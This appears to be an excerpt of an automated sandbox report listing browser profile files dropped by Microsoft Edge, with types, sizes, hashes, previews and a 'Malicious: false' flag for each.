C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.2996474682540504
Encrypted:	false
SSDEEP:	48:LBmw6fU1zBqqOXb47kXEKuRdDQVvpmkYqOZY/u7v:LBCyqbL4oiRJQwbm/ur
MD5:	D653C13F449913C6E97A751DFAED1377
SHA1:	6825A285C76814F3DD8EDC6BDBB5328EFE483C05
SHA-256:	E48CAD0E694E8C9A2F561CF3898D348658898481A6E0B4C937FA8D8716D7C98B
SHA-512:	F535AC8BB143BBE7879230596A667350D99A4E735F4A95558152EEC0FCFF66E489446469A933CC25CC4BC83A64AE262EAD2A3A610764C24DBF450950C70A4369
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0ld:LsFK
MD5:	AC9848CFCA861FAE0D852B78B32A5D72
SHA1:	89F583B83474F017AE62DE504E3A1774F1F7F4A1
SHA-256:	2EA836183E0CB30184C2E95602E47D2E643890BDB42D2214F1E9F99C41C62993
SHA-512:	EDC818E5B60B9F724A5C01016A6450F435149EBF5A127AB833D9461418E417AD1E15781EFC9090CCFA96502B41D9B7FCBE1E2B0780DB9781FA3715E497A1670C
Malicious:	false
Preview:	........................................R.0../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 35, cookie 0x1c, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	143360
Entropy (8bit):	0.4580299380484517
Encrypted:	false
SSDEEP:	96:dFGnU+bDoYysX0uhny6ztha5+fV0NueLjLqf3u:dFGU+bDo3irhny6vi+fV0F3qf3u
MD5:	305248216FA88D3E68DD544A3ECEC88E
SHA1:	A1FAA4309F30BDAFB9899A6C3943AA198EC0814C
SHA-256:	A52872C476C3D2DA7C2947B0F5947E72976BEB49A4DFE61AF92F263DB4393826
SHA-512:	7336F0DE1B2B77A3CD1DDD70ED3D860C0CA25D1CDDEF9A221A73862E12FDFFBC2A4353F28088C0079D347315193D5C796E97ED07796FAD761C516B08A9072718
Malicious:	false
Preview:	SQLite format 3......@ .......#..................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21940571400471376
Encrypted:	false
SSDEEP:	3:NAl/A3lljq7A/mhWJFuQ3yy7IOWUAnl/4dweytllrE9SFcTp4AGZs5V9RUIue:hs75fOElQd0Xi99pGsL0e
MD5:	1178794A082152C7FB2CABA41DE8323E
SHA1:	A8E566F64B4F7F6A934E9CEA175A9EF9E832A31F
SHA-256:	CCCC910022D6C2E109AE8B51398AD781DC990F5485106D6C7563AFCA1FF1320C
SHA-512:	1C3FD64D198ED046DB8CB1A63232E31542D21915F7AA48DFB111C1731CC5E1129A61CFDD3E016EBD64F0C4A2E489E02C07EFC8E71BF42810D957500EF50105BA
Malicious:	false
Preview:	............%.....#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.2308534073589215
Encrypted:	false
SSDEEP:	12:7IPhYeb8rcHEZrEkVLJzQQyvsPhYeb8rcHEZrELFUv:7uhYeb8nZrEkVLJzFYihYeb8nZrEx2
MD5:	60398AA63F7A272CA7C2464827FACCF4
SHA1:	D443314C3EDC43C51E494F8517CE02E368CDBEDF
SHA-256:	E85DCF9540F98337B0D197B83E4D3A42AB02A52515B7ABFF6407745C268B1FFF
SHA-512:	BF12CA04AA64388D06E6E0ACFC46F87EE7135CF95C23560463454741F4ED390B6B6512DC37E00D7B2C9C75CE3D2CBDEBE4D194F038D3B6BD40DC02F64418076E
Malicious:	false
Preview:	2025/01/08-10:18:46.125 418 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2025/01/08-10:18:46.187 418 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	5.610892409201852
Encrypted:	false
SSDEEP:	48:GO5ZGAAQKBj07Xw8lj1wERS0MXxAUcWdwY3muLoX3xFiZRLV03Sx4Lylsiy/Fn:GMoN811wE80gAHSlmUq3iZRz2osr
MD5:	76E3A99C4F85F225CA15B2AFB9A8B913
SHA1:	790E212963A1824A1C70918CA3E0FC3A9F1E6276
SHA-256:	E29E54D2F6934FD8B6DDAD52EBB58E9BB9356F85F07EF8D82735F254B596C4D8
SHA-512:	0059883A2A4ABE8E90D3193B69B31070865E71C29BCAA86654EADC19B429D553C14A9445A5A1E9B165B61D43FD3095E9777D987E5238F9ABC1E05B01A4B35224
Malicious:	false
Preview:	&t^&m................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..1adcoords...{"dataType":"Map","value":[["infopane",{"coords":{"x":42,"y":387}}],["nativead-river-1",{"coords":{"x":354,"y":703}}],["nativead-resriver-1",{"coords":{"x":42,"y":1019}}]]}.$_https://ntp.msn.com..1adcoords_date.."2025-01-08T15:18:50.377Z". _https://ntp.msn.com..1adindices...{"dataType":"Map","value":[["infopane",[3,11,15]],["infopanelock",[]],["peekinfopane",[]],["rightrail",[]],["triver",[]],["river",[1]],["riverlock",[]],["peekriver",[]],["infopane-tab",[]],["resinfopane",[6]],["resinfopanelock",[]],["resriver",[1]],["resriverlock",[]],["dense-river",[]],["rivert",[]],["resrivert",[]],["infopane1u",[]]]}.%_https://ntp.msn.com..1adindices_date.."2025-01-08T15:18:50.276Z".&_https://ntp.msn.com..CookieSyncExpiry..1736349529860.._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1335}.!_https://ntp.msn.com..LastKnownPV..1736349529

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.23421255491512
Encrypted:	false
SSDEEP:	6:iOOtz1sJYDhP5c23oH+Tcwt8a2jM8B2KLlYtQL+q2TYDhP5c23oH+Tcwt8a2jMGh:70z1LPhYeb8jFLYVvsPhYeb8EFUv
MD5:	C75318A00C0A7312085A2BEDB54466AF
SHA1:	40841DF3317BA317E580F03A0AC8953D96060809
SHA-256:	F5067B3FCE386E036481DAA0EEEC17FF347C57758CFBA8A6401E4FE4FAEA7728
SHA-512:	F4C64F01EA10EDC5D847E5F2174F306CD859046C32C9E6AD6B54EBD10A733FA1F3EA62A1378A014E588EF5E2DD57FE712E61D7D1C5A1B5A039EB2FE4AE5012D5
Malicious:	false
Preview:	2025/01/08-10:18:44.436 1678 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb since it was missing..2025/01/08-10:18:44.584 1678 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8236873764424179
Encrypted:	false
SSDEEP:	96:pQ8XNKLyeymwHCn8MouOFlSynlbiXyKwt8hG:pQ8fHG7qXnlbibhG
MD5:	451AA3F16A70DC92797D12A2F6322613
SHA1:	9806149DBA5968EC59B1E3EEA29759D71C8B30BA
SHA-256:	165A6FE46AFEC7D17DCDFAC63F8B148AFA40926E91F8D33D3EA7371CF76FD382
SHA-512:	3E6DE59F2302F56DE8292F7F209F84D99AF2073589A17213237A77DDFF5E34933700AE5C9B45E31FE76CC27E5C93AD8B8145AB85F9D6C16FF08307A0C2E228E3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 3, database pages 9, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.4137784766694259
Encrypted:	false
SSDEEP:	24:TL1PD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFS:T1/qALihje9kqL42WOT/9F
MD5:	5AA0D6A2ECCE658F08BF5E58B9B36AD2
SHA1:	F1C9C69A80D845597628FFDC3618ED62593CE473
SHA-256:	9D16F84C9DA5A8CB2E660AE2E225B723EE6137DF147A56791375FC5B22CBABCA
SHA-512:	B8D37839DB68392E92EA024FA8C54FF3B04D9E7E6DBF28B2AC34420E49614493FE387B0B35F5D3FB65F9D111DF68CCB70C9FC34943D0D07A93F3A70CF1F12C21
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`......,......\.t.+.>...,............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.4495304146776283
Encrypted:	false
SSDEEP:	48:TojYdpjKBKBjKOK+jAh+vt4scumU1c0YI7E:0YdlKBKtKOK2ui0u0dI7E
MD5:	9EFD01E6C259E621B3218B79C348027F
SHA1:	04CCFF2DA6EE36B1D9E33AA85FDC812A2B3C1A46
SHA-256:	4D3B5BB961DECF0BBF134146032A1322FFC9F824CF6596C986CF72A9EB8B9079
SHA-512:	A3F8FB16E0C875E3D809C148C3E93B1DE228A82FBAC903E3A096C8C5BD0F680DC5FE7ED2FD5FA9810E2C432A0756884E527D84896AF420367BF795847F56E379
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g.......@...Z..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	5.702765796595301
Encrypted:	false
SSDEEP:	24:F2xc5Nm/cncmoxCRORpllg2hEvfyywCRORpllg2hyHh7CRORpllg2hEKyTCRORp0:F2emgWrd6vfUrdCjrd6KOrdE1
MD5:	C5C3E6A236B933FD85CE3CE318845469
SHA1:	DB1F6426630A2A247E6AAFAB3D861A4017B766F4
SHA-256:	55A6DA3989975056CACAA9AC846755A16FD3459A7EFAB1E3A074DFF9D9B9EA9E
SHA-512:	F8371CB3E6CDF8DF72FF36B3820964E5BB10F345E98054CCB3E3528A9C7C86AB4E8C52EFF956C8A0D3749D89FF0920B439BD1C37F79A0939F1608302402857C1
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2X..EN................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h..p.x..................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=t

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.190298286213362
Encrypted:	false
SSDEEP:	6:iOD/sJYDhP5c23oH+TcwtE/a252KLlh+q2TYDhP5c23oH+TcwtE/a2ZIFUv:7HPhYeb8xLP+vsPhYeb8J2FUv
MD5:	B750EFCFD3C3ABA580E33576AEE333F2
SHA1:	7073EAF5628B9F12D1F02C2AB75C9324816359EF
SHA-256:	B06DD87B46F1707C48F94EA544426213E2F0AE2DF3BECD39C48860E81C54143F
SHA-512:	242D5BE527526B6461F18D80CB6DC4A43340316DB56CB713190FECBF3156706417EE35830FC3669585AD4D67EF404089222441EB0F8DC3551A683C713CC8A0EF
Malicious:	false
Preview:	2025/01/08-10:18:50.752 174c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/01/08-10:18:50.771 174c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115791
Entropy (8bit):	5.577547981825947
Encrypted:	false
SSDEEP:	1536:sU906yxPXfOxr1lhCe1nL/ImL/rBZXJCjPXNt7R7wx5VCPJ:B9LyxPXfOxr1lMe1nL/5L/TXJ6Vwx5QB
MD5:	0B105B8FBD3B98B38E5B6FC77293FB92
SHA1:	74802DA5DFA8B8B545F6D8310D06F8E850A0F8B7
SHA-256:	B3AA3D0458FF9CAE9EAE6EACFEA96FD83AFF9DA81D65F109672E2F53DB53BA5D
SHA-512:	1F7A606214550B463D4745D54DEA96E79D63E02B201A1B8AF8E9656CBC29518D392CB32BBADBFFAD5C09957CE3A391B4E19B2EAC0935E07254FF3ED1C5EF1276
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	190017
Entropy (8bit):	6.423144220772629
Encrypted:	false
SSDEEP:	3072:ZvBs5Du5pv2uhGHaMG+/DJL/SaefELy1dGhghxowBv:ZvylRuk6s/FL/SoLy1dL
MD5:	830A6C2854D27C5DD89B1E281508E283
SHA1:	316FA47031FE90E1E58201B1D26CF7F5A2852581
SHA-256:	726DA0FB373CC4AA49A479A9403C9058A7838735A07D6AB8438E0416157B870E
SHA-512:	889F7835E2107D0A146BB2A5C64FFFF2D71634DD03B0177970034205452C4A61D00EB59A9740130C6395F8AF90D8235A095D95A13DB50FBAB6D1AAC89BF9B488
Malicious:	false
